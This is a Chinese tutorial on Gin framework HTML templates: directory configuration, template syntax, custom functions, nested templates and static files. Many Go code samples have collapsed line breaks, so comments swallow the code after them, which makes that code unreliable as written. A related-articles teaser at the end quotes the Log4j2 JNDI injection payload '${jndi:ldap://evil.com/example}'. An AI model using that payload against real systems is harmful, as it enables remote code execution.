Gin框架: HTML模板渲染之配置与语法详解

Gin的HTML模板配置


1 )单一目录的配置

  • 配置模板目录,在与main.go同级下, 新建目录,下面二选一,仅作举例, 这里选择 tpls

    • templates
    • tpls
  • 在 tpls 目录下新建 news.html

    <!-- 最简单的 -->
    <h1>News Page</h1><h3>标题:{{.title}}</h3>
    <p>内容:{{.content}}</p>
    
    • 注意,这里加上define和end头尾也可以
      {{ define "news.html" }}
      <h1>News Page</h1><h3>标题:{{.title}}</h3>
      <p>内容:{{.content}}</p>
      {{ end }}
      
  • 应用程序示例中配置

    • r.LoadHTMLGlob("tpls/*") 通配设定
    • r.LoadHTMLFiles("tpls/news.html") 逐个指定,多个在字符串中用,分隔

程序示例

package mainimport ("net/http""github.com/gin-gonic/gin"
)var statusOK = http.StatusOKfunc main() {// 创建一个默认的路由引擎r := gin.Default()// 配置模板的文件r.LoadHTMLGlob("tpls/*")// r.LoadHTMLFiles("tpls/news.html") // 逐个指定多个需要使用逗号分隔// 根路由r.GET("/", func(c *gin.Context) {c.String(statusOK, "Welcome to %v", "Home Page")})r.GET("/news", func(c *gin.Context) {c.HTML(statusOK, "news.html", gin.H{"title": "新闻标题","content": "这是详细的新闻内容",})})r.Run()
}

2 )多目录配置

  • 配置模板目录,在与main.go同级下, 新建目录 tpls, 在内部再创建两个目录: web, admin

    • tpls/web
    • tpls/admin
  • 新建 tpls/admin/news.html

    {{ define "admin/news.html" }}<h1>News Page</h1><h3>标题:{{.title}}</h3>
    <p>内容:{{.content}}</p>{{ end }}
    
    • 这里内容和之前保持一致, 但要注意上下的定义
    • 如果不添加,会出现 Error #01: html/template: "admin/news.html" is undefined 的错误
    • 这里的 define 和 end 非常重要
    • define 配置的路径是匹配c.HTML 中的第二个参数
  • 应用程序示例中配置

    • r.LoadHTMLGlob("tpls/**/*") 通配设定
    • r.LoadHTMLFiles("tpls/admin/news.html") 逐个指定,多个在字符串中用,分隔

程序示例

package mainimport ("net/http""github.com/gin-gonic/gin"
)var statusOK = http.StatusOKfunc main() {// 创建一个默认的路由引擎r := gin.Default()// 配置模板的文件r.LoadHTMLGlob("tpls/**/*")// r.LoadHTMLFiles("tpls/admin/news.html") // 逐个指定多个需要使用逗号分隔// 根路由r.GET("/", func(c *gin.Context) {c.String(statusOK, "Welcome to %v", "Home Page")})r.GET("/admin/news", func(c *gin.Context) {c.HTML(statusOK, "admin/news.html", gin.H{"title": "新闻标题","content": "这是详细的新闻内容",})})r.Run()
}

3 )多层复杂目录配置

  • 首先看下设定的结构

    yourGinProject/ ·······························  根目录├── go.mod ··································  go mod 文件├── go.sum ··································  go sum 文件├── main.go ·································  main 文件└── tpls ····································· html模板目录├── a│   └── b│  		└── c│  		    └── d│  		        └── e│  		            └── news.html├── admin│   └── news.html│└── news.html
    
    • tpls/news.html

      {{ define "news.html" }}<h1>News Page</h1><h3>标题:{{.title}}</h3>
      <p>内容:{{.content}}</p>{{ end }}
      
    • tpls/admin/news.html

      {{ define "admin/news.html" }}<h1>News Page</h1><h3>标题:{{.title}}</h3>
      <p>内容:{{.content}}</p>{{ end }}
      
    • tpls/a/b/c/d/e/news.html

      {{ define "a/b/c/d/e/news.html" }}<h1>News Page</h1><h3>标题:{{.title}}</h3>
      <p>内容:{{.content}}</p>{{ end }}
      
    • 注意各个 news.html 的define设定

程序示例

package mainimport ("net/http""github.com/gin-gonic/gin"
)var statusOK = http.StatusOKfunc main() {// 创建一个默认的路由引擎r := gin.Default()// 配置模板的文件r.LoadHTMLGlob("tpls/**/**/**/**/**/*")// 根路由r.GET("/", func(c *gin.Context) {c.String(statusOK, "Welcome to %v", "Home Page")})// 这个配置和紧挨着下面的配置一致,只是路由自己设定了一个简洁版的r.GET("/x/news", func(c *gin.Context) {c.HTML(statusOK, "a/b/c/d/e/news.html", gin.H{"title": "新闻标题","content": "这是详细的新闻内容",})})// 多层路由,同上r.GET("/a/b/c/d/e/news", func(c *gin.Context) {c.HTML(statusOK, "a/b/c/d/e/news.html", gin.H{"title": "新闻标题","content": "这是详细的新闻内容",})})// 二级r.GET("/admin/news", func(c *gin.Context) {// r.LoadHTMLGlob("tpls/**/*") // 这里会 panic 报错r.LoadHTMLFiles("tpls/admin/news.html") // 这里正常可以访问,权重会大于顶部的全局配置c.HTML(statusOK, "admin/news.html", gin.H{"title": "新闻标题","content": "这是详细的新闻内容",})})// 一级r.GET("/news", func(c *gin.Context) {// r.LoadHTMLGlob("tpls/*") // 这里会 panic 报错r.LoadHTMLFiles("tpls/news.html") // 这里正常可以访问,权重会大于顶部的全局配置c.HTML(statusOK, "news.html", gin.H{"title": "新闻标题","content": "这是详细的新闻内容",})})r.Run()
}
  • 可以看到,在单个路由中r.LoadHTMLFiles 配置的用处了
  • 所以,以上就比较麻烦,一般而言,在一开始设计模板的时候,就要约定好规则
  • 特殊的设定只能应用于特殊的场景下

Gin的HTML模板语法


1 )基本渲染

主程序

package mainimport ("net/http""github.com/gin-gonic/gin"
)var statusOK = http.StatusOKtype User struct {Id      intName    stringHobby   string
}func main() {// 创建一个默认的路由引擎r := gin.Default()// 配置模板的文件r.LoadHTMLGlob("tpls/*")// 根路由r.GET("/", func(c *gin.Context) {c.String(statusOK, "Welcome to %v", "Home Page")})r.GET("/user", func(c *gin.Context) {c.HTML(statusOK, "user.html", &User{Id:      1,Name:    " Wang ", // 注意,这里有2个空格Hobby:   "swimming",})})r.Run()
}

html模板

{{ define "user.html" }}<h1>User Page</h1><h3>用户Id:{{.Id}}</h3>
<!-- 下面这种也是注释 -->
{{/* 这里是姓名,本身数据存在空格,但是这个去空格的方式无法去除 */}}
<h3>用户姓名:{{- .Name -}}</h3>
<h3>用户爱好:{{.Hobby}}</h3>{{ $xId := .Id }}<h3>演示变量:  {{- $xId -}} </h3>{{ end }}
  • {{ .x }} x是属性,基于这种方式来输出数据
  • {{/* 这里是注释 */}} 注意 /**/ 紧贴着 {{}},可以多行,不可嵌套
  • {{ $xId := .Id }} 单独设定变量, 变量名只能使用一个 $
  • {{- $xId -}} 这种去除空格,只能去除周围的空格,无法去除属性内包含的空格,且-紧贴{{}},同时与模板值之间需要使用空格分隔

效果图

2 ) 比较, 判断, range, with

主程序

package mainimport ("net/http""github.com/gin-gonic/gin"
)type Article struct {Title   stringContent string
}var statusOK = http.StatusOKfunc main() {r := gin.Default()//加载模板 放在配置路由上面r.LoadHTMLGlob("tpls/**/*")//前台r.GET("/", func(c *gin.Context) {c.HTML(statusOK, "web/index.html", gin.H{"title": "首页","msg":   " 我是msg","score": 89,"hobby": []string{"吃饭", "睡觉", "写代码"},"newsList": []interface{}{&Article{Title:   "新闻标题1",Content: "新闻详情1",},&Article{Title:   "新闻标题2",Content: "新闻详情2",},},"testSlice": []string{},"news": &Article{Title:   "新闻标题",Content: "新闻内容",},})})r.Run()
}

html模板

{{ define "web/index.html" }}<h2>title变量展示: {{.title}}</h2><!-- 定义变量 -->
{{$t := .title}}<!-- 这里展示 title -->
<h4>这里通过变量,再次展现title: {{$t}}
</h4><!-- 条件判断 -->
<h4>这里基于判断,展示是否及格</h4>
{{if ge .score 60}}<p>及格</p>
{{else}}<p>不及格</p>
{{end}}<h4>这里基于判断,更加细度展示成绩</h4>{{if gt .score 90}}<p>优秀</p>
{{else if gt .score 80}}<p>良好</p>
{{else if gt .score 60}}<p>及格</p>
{{else}}<p>不及格</p>
{{end}}<!-- 循环遍历数据 -->
<h3>下面用range开始遍历 hobby 数组</h3>
<ul>{{range $key,$value:=.hobby}}<li>{{$key}}----{{$value}}</li>{{end}}
</ul><h3>下面用range开始遍历 新闻 数组</h3>
<ul>{{range $key,$value:=.newsList}}<li>{{$key}}----{{$value.Title}}---{{$value.Content}}</li>{{end}}        
</ul><h3>下面用range遍历中,空数组场景的展示</h3>
<ul>{{range $key,$value:=.testSlice}}<li>{{$key}}----{{$value}}</li>{{else}}<li>数组中没有数据</li>{{end}}        
</ul><!-- with 解构结构体 -->
<h3>不使用 with 结构属性</h3>
<p>{{.news.Title}}</p>
<p>{{.news.Content}}</p><h3>使用 with 结构属性</h3>
{{with .news}}<p>{{.Title}}</p><p>{{.Content}}</p>
{{end}}{{ end }}
  • 关于比较函数中的一些注意事项
    • eq 如果 arg1 == arg2 则返回真
    • ne 如果 arg1 != arg2 则返回真
    • lt 如果 arg1 < arg2 则返回真
    • le 如果 arg1 <= arg2 则返回真
    • gt 如果 arg1 > arg2 则返回真
    • ge 如果 arg1 >= arg2 则返回真

效果图

3 )高阶用法:预定义函数,自定义模板函数,嵌套模板

  • 首先看下设定的结构
    yourGinProject/ ·······························  根目录├── go.mod ··································  go mod 文件├── go.sum ··································  go sum 文件├── main.go ·································  main 文件└── tpls ····································· html模板目录├── web│     └── index.html└── common└── page_header.html└── page_footer.html
    

主程序

package mainimport ("html/template""net/http""time""github.com/gin-gonic/gin"
)type Article struct {Title   stringContent string
}var statusOK = http.StatusOK//时间戳转换成日期
func UnixToTime(timestamp int) string {t := time.Unix(int64(timestamp), 0)return t.Format("2006-01-02 15:04:05") // 这个是按照这个时间来进行格式化, 必须是这个时间点, 据说是go诞生之日
}func Println(str1 string, str2 string) string {return str1 + "----" + str2
}func main() {// 创建一个默认的路由引擎r := gin.Default()//自定义模板函数, 注意要把这个函数放在加载模板前r.SetFuncMap(template.FuncMap{"UnixToTime": UnixToTime,"Println":    Println,})//加载模板 放在配置路由上面r.LoadHTMLGlob("tpls/**/*")// 前台r.GET("/", func(c *gin.Context) {c.HTML(statusOK, "web/index.html", gin.H{"title": "首页","titleEn": "homePage","msg": "demo","date": 1708344953,})})r.Run()
}

web/index.html模板

{{ define "web/index.html" }}<!-- 这里定义通用头部 -->{{template "common/page_header.html" .}}<h3>下面演示: 预定义函数</h3><!-- 预定义函数 -->{{ len .title }}<br />{{ len .titleEn }}<!-- 自定义模板函数 --><h3>下面演示: 自定义模板函数</h3>{{.date}}<br /><br />{{UnixToTime .date}}<br><br>{{Println .title .msg}}<!-- 这里定义通用尾部 -->{{template "common/page_footer.html" .}}{{ end }}

common/page_header.html模板

{{ define "common/page_header.html" }}<h3>我是一个公共的标题---{{.title}}</h3>
{{end}}

common/page_footer.html模板

{{ define "common/page_footer.html" }}<h3>我是一个公共的底部</h3>
{{end}}
  • 在 预定义函数 中,执行模板时,函数从两个函数字典中查找

    • 首先是模板函数字典,然后是全局函数字典。
    • 一般不在模板内定义函数,而是使用 Funcs 方法添加函数到模板里
  • 预定义的全局函数如下

    • and
      • 函数返回它的第一个 empty 参数或者最后一个参数
      • 就是说"and x y"等价于"if x then y else x";所有参数都会执行
    • or
      • 返回第一个非 empty 参数或者最后一个参数
      • 亦即"or x y"等价于"if x then x else y";所有参数都会执行
    • not
      • 返回它的单个参数的布尔值的否定
    • len
      • 返回它的参数的整数类型长度
    • index
      • 执行结果为第一个参数以剩下的参数为索引/键指向的值
      • 如"index x 1 2 3"返回 x[1][2][3]的值;每个被索引的主体必须是数组、切片或者字典
    • print
      • 即 fmt.Sprint
    • printf
      • 即 fmt.Sprintf
    • println
      • 即 fmt.Sprintln
    • html
      • 返回与其参数的文本表示形式等效的转义 HTML
      • 这个函数在 html/template 中不可用
    • urlquery
      • 以适合嵌入到网址查询中的形式返回其参数的文本表示的转义值
      • 这个函数在 html/template 中不可用
    • js
      • 返回与其参数的文本表示形式等效的转义 JavaScript
    • call
      • 执行结果是调用第一个参数的返回值,该参数必须是函数类型,其余参数作为调用该函
        数的参数
      • 如"call .X.Y 1 2"等价于 go 语言里的 dot.X.Y(1, 2)
      • 其中 Y 是函数类型的字段或者字典的值,或者其他类似情况
      • call 的第一个参数的执行结果必须是函数类型的值(和预定义函数如 print 明显不同)
      • 该函数类型值必须有 1 到 2 个返回值,如果有 2 个则后一个必须是 error 接口类型
      • 如果有 2 个返回值的方法返回的 error 非 nil,模板执行会中断并返回给调用模板执行者该错误
  • 在自定义模板函数中,比如定义了 formatDate 方法,有两种用法

    • {{.now | formatDate}}
    • {{formatDate .now }}
  • 在嵌套 template中,注意最后的点(.)

效果图

静态文件服务器的配置


这块比较简单

主程序

package mainimport ("net/http""github.com/gin-gonic/gin"
)var statusOK = http.StatusOKfunc main() {// 创建一个默认的路由引擎r := gin.Default()//配置静态web目录 第一个参数表示路由, 第二个参数表示映射的目录r.Static("/static", "./static")// 前台r.GET("/", func(c *gin.Context) {c.String(statusOK, "Welcome to %v", "Home Page")})r.Run()
}
  • 这样就设定好了,在与 main.go 同级新建 static/images 目录,添加 mysql-logo.svg 图片
  • 访问该图片: http://localhost:8080/static/images/mysql-logo.svg
  • 其他的,如:css, js 这类也同样适用
  • 这时候,静态文件服务器就搭建好了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/259864.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java实现停车场收费系统 JAVA+Vue+SpringBoot+MySQL

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 停车位模块2.2 车辆模块2.3 停车收费模块2.4 IC卡模块2.5 IC卡挂失模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 停车场表3.2.2 车辆表3.2.3 停车收费表3.2.4 IC 卡表3.2.5 IC 卡挂失表 四、系统实现五、核心代码…

17-k8s控制器资源-job控制

job控制器&#xff1a;就是一次性任务的pod控制器&#xff0c;pod完成作业后不会重启&#xff0c;其重启策略是&#xff1a;Never 1&#xff0c;job控制器案例描述 启动一个pod&#xff0c;执行完成一个事件&#xff0c;然后pod关闭&#xff1b; 事件&#xff1a;计算π的值&a…

请你设计一个抢手机F码的排队的场景,并且需要显示等待时间

package com.example.demo1.service.impl;import lombok.Data;import java.time.LocalDateTime; import java.time.temporal.ChronoUnit; import java.util.Date;Data public class User {//用户idprivate Integer id;//姓名private String name;//插入的时间private LocalDate…

php数组运算符 比较 isset、is_null、empty的用法和区别

php数组运算符 1. 数组运算符2. 判断两个数组是否相等3. isset、is_null、empty的用法和区别 1. 数组运算符 注意&#xff1a;只会保留第一个数组中的键值对&#xff0c;而忽略后面数组中相同键名的元素&#xff0c;如果想要合并两个数组并覆盖相同键名的元素&#xff0c;可以…

搜维尔科技:分析OptiTrack光学动作捕捉应用领域!

虚拟制作 当今虚拟制作阶段低延迟、超精确摄像机跟踪的事实上的标准。 用于运动科学的 OptiTrack OptiTrack 系统提供世界领先的测量精度和简单易用的工作流程&#xff0c;为研究人员和生物力学师的研究提供理想的 3D 跟踪数据。对所有主要数字测力台、EMG 和模拟设备的本机即…

广州游戏业:低调内敛 务实创新

广州游戏业&#xff1a;低调内敛 务实创新 中国游戏产业发展迅猛&#xff0c;不同城市因地制宜&#xff0c;各具特色。本篇我们的视角转到历史悠久的广州&#xff0c;看看这座百年老城的游戏业正在以怎样的姿态前行。 广州在中国游戏产业中有其独特地位——作为游戏产业发源地…

[计算机网络]---Https协议

前言 作者&#xff1a;小蜗牛向前冲 名言&#xff1a;我可以接受失败&#xff0c;但我不能接受放弃 如果觉的博主的文章还不错的话&#xff0c;还请点赞&#xff0c;收藏&#xff0c;关注&#x1f440;支持博主。如果发现有问题的地方欢迎❀大家在评论区指正 目录 一、https协…

【EI会议征稿通知】第五届信息科学与并行、分布式处理国际学术会议(ISPDS 2024)

第五届信息科学与并行、分布式处理国际学术会议&#xff08;ISPDS 2024&#xff09; 2024 5th International Conference on Information Science, Parallel and Distributed Systems 第五届信息科学与并行、分布式处理国际学术会议&#xff08;ISPDS 2024&#xff09;定于20…

八、计算机视觉-边界填充

文章目录 前言一、原理二、具体的实现 前言 在Python中使用OpenCV进行边界填充&#xff08;也称为zero padding&#xff09;是一种常见的图像处理操作&#xff0c;通常用于在图像周围添加额外的像素以便进行卷积或其他操作。下面是使用OpenCV进行边界填充的基本原理和方法 一…

纯净住宅代理有何优势?为什么要用它?

随着互联网的快速发展&#xff0c;代理服务器已经成为许多在线活动的关键组成部分&#xff0c;从数据挖掘到网络安全。然而&#xff0c;随着技术的不断发展&#xff0c;住宅IP代理正崭露头角&#xff0c;因其在保障隐私、提升性能和应对封锁方面的卓越优势而备受瞩目。本文将深…

java面试题基础篇

1.java面向对象三大特性 ​ 封装&#xff08;Encapsulation&#xff09;&#xff1a;是面向对象方法的重要原则&#xff0c;就是把对象的属性和操作&#xff08;或服务&#xff09;结合为一个独立的整体&#xff0c;并尽可能隐藏对象的内部实现细节。 ​ 继承&#xff1a;就是…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…

OpenAI超级视频模型Sora技术报告解读,虚拟世界涌现了

昨天白天&#xff0c;「现实不存在了」开始全网刷屏。 「我们这么快就步入下一个时代了&#xff1f;Sora简直太炸裂了」。 「这就是电影制作的未来」&#xff01; 谷歌的Gemini Pro 1.5还没出几个小时的风头&#xff0c;天一亮&#xff0c;全世界的聚光灯就集中在了OpenAI的So…

unity学习(29)——GameInfo角色信息

1.把GameInfo.cs PlayerModel.cs Vector3.cs Vector4.cs PlayerStateConstans.cs GameState.cs依次粘到model文件夹中&#xff0c;此时项目没有错误&#xff0c;如下图所示&#xff1b; 对应处所修改的代码如下&#xff1a; case LoginProtocol.LOGIN_SRES://1 {Debug.Log(&qu…

生产环境下,应用模式部署flink任务,通过hdfs提交

前言 通过通过yarn.provided.lib.dirs配置选项指定位置&#xff0c;将flink的依赖上传到hdfs文件管理系统 1. 实践 &#xff08;1&#xff09;生产集群为cdh集群&#xff0c;从cm上下载配置文件&#xff0c;设置环境 export HADOOP_CONF_DIR/home/conf/auth export HADOOP_CL…

剑指offer——数值的整数次方

目录 1. 题目描述2. 一般思路2.1 有问题的思路2.2 全面但不高效的思路2.3 面试小提示 3. 全面又高效的思路 1. 题目描述 题目:实现函数 double Power(double base,int exponent)&#xff0c;求base 的exponent 次方。不得使用库函数&#xff0c;同时不需要考虑大数问题 2. 一般…

CSS 四个不同大小和颜色的圆环加载动画

<template><!-- 定义一个视图容器,用于装载SVG加载动画 --><view class="loader"><!-- SVG图形元素,定义一个240x240的可视区域 --><svg class="pl" width="240" height="240" viewBox="0 0 240 24…

chrome调试必知必会

1 概述 业务系统在分析前端问题时,离不开使用浏览器调试工具,目前chrome在网页前端调试是最流行的工具,非之一。 对于初学者,甚至有多年工作经验的都不一定掌握的很全面。本文分享一些常用好用的功能点。 2 打开调试 打开chrome , 在右侧菜单,找到“更多工具” -> &…

扩展语音识别系统:增强功能与多语言支持

一、引言 在之前的博客中&#xff0c;我们成功构建了一个基于LibriSpeech数据集的英文语音识别系统。现在&#xff0c;我们将对系统进行扩展&#xff0c;增加一些增强功能&#xff0c;并尝试支持多语言识别。 二、增加增强功能 语音合成 --除了语音识别&#xff0c;我们还可以…

Matlab论文插图绘制模板第136期—极坐标气泡图

在之前的文章中&#xff0c;分享了Matlab笛卡尔坐标系的气泡图的绘制模板&#xff1a; 进一步&#xff0c;再来分享一下极坐标气泡图。 先来看一下成品效果&#xff1a; 特别提示&#xff1a;本期内容『数据代码』已上传资源群中&#xff0c;加群的朋友请自行下载。有需要的朋…